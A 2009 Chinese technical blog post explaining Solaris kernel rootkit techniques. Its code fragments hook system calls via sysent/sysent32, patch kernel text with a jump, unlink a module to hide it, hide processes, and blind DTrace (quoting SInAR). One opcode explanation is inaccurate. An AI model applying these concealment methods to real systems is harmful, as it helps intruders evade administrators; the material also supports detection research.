分类:
2009-03-21 12:20:54
对于Linux的LKM,有很多大家都比较清楚了,比如Knark或者Adore ,而且他们都提供了隐藏自身的功能(比如隐藏文件, 隐 藏 进 程, 重定向可执行文件, 隐藏网络连接)。它们采用的技术主要是利用截获open, gendents64,write等系统调用来为自己所用。至于隐藏就是“如果发现输出的信息含有自己要隐藏的信息,就把这部分的buffer抹去”。
至于在Solaris里面,同样的也是有很多的系统调用,而且Solaris将系统调用表export出来。这样,想要截获Solaris的系统调用就很容易了。目前在Solaris上,也有一些Rookit,比如SInAR, slkm等等。他们是通过截获系统调用来隐藏自身。
截获系统调用的方法有很多,我们可以自己写一个dummy系统调用函数,再将这个函数的地址在export的系统调用表里替换一下;同样也可以截取系统调用的地址,写一些opcode将其栈地址写成我们的dummy函数。在看具体看例子之前,先看一个系统调用的结构。
struct sysent { char sy_narg; /* total number of arguments */ #ifdef _LP64 unsigned short sy_flags; /* various flags as defined below */ #else unsigned char sy_flags; /* various flags as defined below */ #endif int (*sy_call)(); /* argp, rvalp-style handler */ krwlock_t *sy_lock; /* lock for loadable system calls */ int64_t (*sy_callc)(); /* C-style call hander or wrapper */ }; |
这个结构就是系统调用表的结构,其中sy_callc就是系统设置的系统调用函数地址,而我们要做的,就是让他执行我们自己的函数。
我们先看一个最简单的例子。
int new_exece(const char *path, int oflag, mode_t mode) { cmn_err(CE_NOTE, "anm, new exece, path is %s", path); return old_exece(path, oflag, mode); }
int _init(void) { if ((i = mod_install(&modlinkage)) != 0) cmn_err(CE_NOTE, "Could not install module\n");
old_exece = (void *) sysent[SYS_exece].sy_callc;
sysent[SYS_exece].sy_callc = (void *) new_exece; return i; }
int _fini(void) { int i; if ((i = mod_remove(&modlinkage)) != 0) cmn_err(CE_NOTE, "Could not remove module"); sysent[SYS_exece].sy_callc = (void *) old_exece;
return i; } |
在上面的例子中,就是一个很简单但是全面的截取系统调用exece的方法,就是在_init函数中将sysent中的SYS_exece数组项sy_callc函数的入口地址设置成为我们的new_exece中,其中的sysent就是Solaris的系统调用表,和Linux不同,Linux从2.4开始,系统调用表已经不公开export出来了,虽然可以通过内存检索得出系统调用表的位置,但是对于LKM来说稍微加了一点门坎。而Solaris可能是为了向前兼容,所以这部分的代码一直都没怎么变。
在new_exece里面,我们没有做任何事,只是输出了一行,提示这已经是我们的exece了。还有注意一定要调用原来的old_exece函数来完成相应的功能。虽然我们只加了一行程序,但考虑到同时可能有非常非常多的exece请求,这有可能会对系统性能造成非常大的影响。在Linux中的LKM,处于隐藏的需要,可能要在read或者write系统调用里面写一些内存操作程序,这其实对系统性能影响是很显著的。
回到我们的话题,在模块退出的时候,一定要用“sysent[SYS_exece].sy_callc = (void *) old_exece;”把原来的exece调用函数指回到系统调用表中。否则的话,后果很严重!嘿嘿。
上面是最简单直接的替换系统调用表里的函数,但是这样做是有问题的。比如dtrace可以直接得到系统调用函数的地址,如果用我们的函数来进行替换,那么很细心的系统管理员还是可以注意到系统已经被hack了。比如如下的dtrace程序。
#cat exec.d #!/usr/sbin/dtrace -s
dtrace:::BEGIN { ptr = (long *)&`exece; printf("\nsysent[$1]:0x%p\n",`sysent[$1].sy_callc); printf("Exec at: 0x%p\n", ptr); exit(0); }
# ./exec.d 11 dtrace: script './exec.d' matched 1 probe CPU ID FUNCTION:NAME 1 1 :BEGIN sysent[$1]:0xfffffffffb9bca28 Exec at: 0xfffffffffb9bca58 |
如果我们用上面的系统调用替换,那么Exec程序捕获的地址就不会是显示的这个地址。
我们可以用给系统打patch的方法改变syscall的内容,如下面的程序。
short x = 0; char jmpl_x86[7] = "\xb8\x00\x00\x00\x00\xff\xe0"; *(long *)&jmpl_x86[1] = (long)new_exece;
for(x=0;x<7;x++) hot_patch_kernel_text(kern_call+ x,jmpl_x86[x],1);
|
在hot_patch_kernel_text函数里面,就是把jmpl_x86所指的内容放到系统调用表里面,那么jmpl_x86是什么呢?“\xb8\x00\x00\x00\x00\xff\xe0”在汇编指令中就是”mov 0 %eax;jmp %ebx”,然后在下一条指令里面把我们的new_exece的地址给”mov”指令。再通过hot_patch_kernel_text函数来把这个跳转指令写进去。这样,当执行exec 系统调用的时候首先就是进行跳转到new_exece函数里面去,这样通过上面的dtrace脚本看上去,exec系统调用的地址不会变,但是其实已经系统调用已经被hack了。
上面介绍的方法其实在Linux或者Solaris里都是通用的,但是在Solaris上面,如果直接拿上面的方法试图去截获系统调用,在相当一部分的情况下都不会成功,这是因为目前Solaris基本都使用64bit的kernel,除非在一些非常老的机器上。
在solaris系统上,应用程序向系统内核请求调用的“门”是syscall_entry,并且process向系统内核请求服务的process model是proc_t->ulwp_t->klwp_t->kthread_t,其中proc_t到ulwp_t在应用层,由libc来进行转换;kernel部分由lwp转换成为thread,进行执行。有关详细内容请参见附录1。
通过分析sycall_entry这个函数,我们会注意到如下的显示
struct sysent * syscall_entry(kthread_t *t, long *argp) { klwp_t *lwp = ttolwp(t); struct regs *rp = lwptoregs(lwp); unsigned int code; struct sysent *callp; struct sysent *se = LWP_GETSYSENT(lwp); int error = 0; uint_t nargs; …... |
这下知道了,系统调用表是通过LWP_GETSYSENT(lwp)宏来得到的,
#ifdef _SYSCALL32_IMPL
#define LWP_GETSYSENT(lwp) \
(lwp_getdatamodel(lwp) == DATAMODEL_NATIVE ? sysent : sysent32)
#else
#define LWP_GETSYSENT(lwp) (sysent)
#endif
原来在Solaris里面,有两个系统调用表,可能是为了和之前的系统兼容,Solaris保留了一个sysent32的系统调用表。查看sysent32的定义:
/* * sysent table for ILP32 processes running on * a LP64 kernel. */ struct sysent sysent32[NSYSCALL] = { … |
原来sysent32是特地为64位的内核上运行32位的程序预备的,在查看我的bash文件,
# file /bin/bash
/bin/bash: ELF 32-bit LSB executable 80386 Version 1 [FPU], dynamically linked...
当在64位的系统上运行32位的shell时,系统采用了不同的调用表。我们可以将例子1里面的程序的sysent系统调用表改成sysent32,然后用它来截获系统调用,果然一切OK!
那么在64bit的机器上,用上面机器码的例子来截获系统调用也是不能成功的,原因就是64位是8个字节,所以相应的地址要进行改变;而且jmp指令的机器码也有不同,那么具体就要参考intel或者amd的硬件手册了。
Solaris里面的隐藏和Linux里面的隐藏方法基本一样,比如文件隐藏,网络隐藏等等,下面以模块隐藏和进程隐藏为例,抛砖引玉。
module的隐藏还是比较容易的,就是把特定的module从module_list链表里面摘除,就可以了。
# mdb -k > modules::print { mod_next = 0x1850aa0 mod_prev = 0x300021aaea8 mod_id = 0 mod_mp = 0x184cef0 mod_inprogress_thread = 0 mod_modinfo = 0 mod_linkage = 0 mod_filename = 0x184ceb8 "/platform/sun4u/kernel/sparcv9/unix" mod_modname = 0x184ced7 "unix" mod_busy = '\0' mod_want = '\0' mod_prim = '\001' mod_ref = 0 mod_loaded = '\001' mod_installed = '\001' mod_loadflags = '\001' mod_delay_unload = '\0' mod_requisites = 0 mod_dependents = 0 mod_loadcnt = 0x1 mod_nenabled = 0 mod_text = scb [...] } > |
利用一个简单的摘链表的步骤即可:
prev->next = next;
next->prev = prev;
要想不被ps等命令发现,就要保证在proc结构中我们想要隐藏的进程消失。具体方法就是将proc结构中的p_pidp->pid_prinactive设置为1即可。
if(curproc->p_parent) { if(curproc->p_parent->p_pidp->pid_prinactive) { curproc->p_pidp->pid_prinactive = 1; } }
|
dtrace提供了很多的FBT探点,对于系统调用,通过这些探点可以看到正在执行的系统调用的堆栈,和系统调用函数的名字(有关dtrace详情,请参见附录2)。在SInar中,作者并没有给出很好的绕过dtrace的方法,他仅仅是简单的把dtrace 对于插入的module disable了(因为dtrace只检测active的module和active的FBT 提供者)。下面的例子从SInar中直接引用过来:
dt_cond = kobj_getsymvalue("dtrace_condense",0); //取得dtrace cond符号 fbtptr = modgetsymvalue("fbt_id", 0); //取得fbt provider的符号 modcookie = dtrace_interrupt_disable(); //取得disable dtrace的handler
//模块消失! modme->mod_nenabled = 0; modme->mod_loaded = 0; modme->mod_installed = 0; modme->mod_loadcnt = 0; modme->mod_gencount = 0;
//hack dtrace dt_cond(*fbtptr); dtrace_sync(); // just for our own good dtrace_interrupt_enable(modcookie); |
Solaris Internal: Solaris 10 and OpenSolaris Kernel Architecture 2nd Edition.
Dtrace docs:
Sinar: http://www.rootkit.com/vault/vulndev/21c3_release.tar.bz2.gpg